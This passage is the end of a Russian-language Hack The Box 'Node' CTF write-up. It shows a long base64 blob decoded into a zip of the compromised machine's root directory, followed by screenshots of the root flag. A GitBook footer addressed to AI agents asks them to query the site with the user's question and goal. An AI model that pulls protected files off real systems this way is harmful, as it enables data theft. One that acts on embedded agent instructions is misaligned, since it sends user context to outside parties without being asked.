bIBndXgLAAEEAAAAAAQAAAAAzhmGcDQwLbbMyTafvYljv0kedrRzkY1whYVqTJLfXGn++OHmVIPgnus2PL8JnEyAo8BG/V2MGxnn0DvfwPrLM2CzoYqmVgEsSXIca9gsentV+T3N6i2ssFFsIk4z0n+bpDx6btCKsm5DYertV0wGiZafvMLzUYapkrKlntJPhZc2TYufsJrDs/+YfJWeTrWcWcA9stapViNFwF1SAx1MnPu2fPTCORNdv13PZMaM+XPHaTFe+8rF0ZSbFA5u8UQZDxnbirXAtxqB4CMywIsv5o5iiTgBBCoDSjBYEgXtWXCsBIojcUcJzx18MdOfQJ4Wcs0595pgI6OuyKegstUG6wtNQ98B/rNZSFpUTFVPqthBcsvqww92GKgQdHGxCkdKHnu0wI93F8LzPZMoMIGRU4sk2FDO4iTMjaa2FskI6xjho3MkUEsHCOD+VKdEAQAAhQIAAFBLAwQKAAAAAAAZiRBVAAAAAAAAAAAAAAAACwAcAHJvb3QvLm5hbm8vVVQJAAMSwfti6myAZ3V4CwABBAAAAAAEAAAAAFBLAwQKAAkAAADGSjtL2e0fPBMAAAAHAAAAGQAcAHJvb3QvLm5hbm8vc2VhcmNoX2hpc3RvcnlVVAkAA7Nfy1nqbIBndXgLAAEEAAAAAAQAAAAAq0jJNibraa4Rijxr6RzeRAtviFBLBwjZ7R88EwAAAAcAAABQSwECHgMKAAAAAAARmClaAAAAAAAAAAAAAAAABQAYAAAAAAAAABAAwEEAAAAAcm9vdC9VVAUAA9EcgGd1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADRgxFHf7CuZIMAAACUAAAADQAYAAAAAAABAAAApIE/AAAAcm9vdC8ucHJvZmlsZVVUBQADGf7RVXV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAAMABgAAAAAAAAAEADAQRkBAAByb290Ly5jYWNoZS9VVAUAAxLB+2J1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAA0fCNLAAAAAAwAAAAAAAAAIAAYAAAAAAAAAAAApIFfAQAAcm9vdC8uY2FjaGUvbW90ZC5sZWdhbC1kaXNwbGF5ZWRVVAUAA8MSrFl1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAARmClaSGwEni0AAAAhAAAADQAYAAAAAAABAAAAoIHVAQAAcm9vdC9yb290LnR4dFVUBQAD0RyAZ3V4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIAOuRVke95RA+mwUAACIMAAAMABgAAAAAAAEAAACkgVkCAAByb290Ly5iYXNocmNVVAUAA6kZKVZ1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADEZRFV4P5Up0QBAACFAgAADQAYAAAAAAABAAAAgIFKCAAAcm9vdC8udmltaW5mb1VUBQAD/9T8YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAALABgAAAAAAAAAEADtQeUJAAByb290Ly5uYW5vL1VUBQADEsH7YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAAMZKO0vZ7R88EwAAAAcAAAAZABgAAAAAAAEAAACAgSoKAAByb290Ly5uYW5vL3NlYXJjaF9oaXN0b3J5VVQFAAOzX8tZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAJAAkA/gIAAKAKAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

### Флаг root.txt :)

Извлекая итоговый файл, мы получаем доступ к нужному содержимому.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-597ef9ae304190da28e338a8b46bb5914d17eb08%2Fimage%20(2706).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9975137b038e2d13235d78a8413a013245f329f8%2Fimage%20(2705).png?alt=media" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
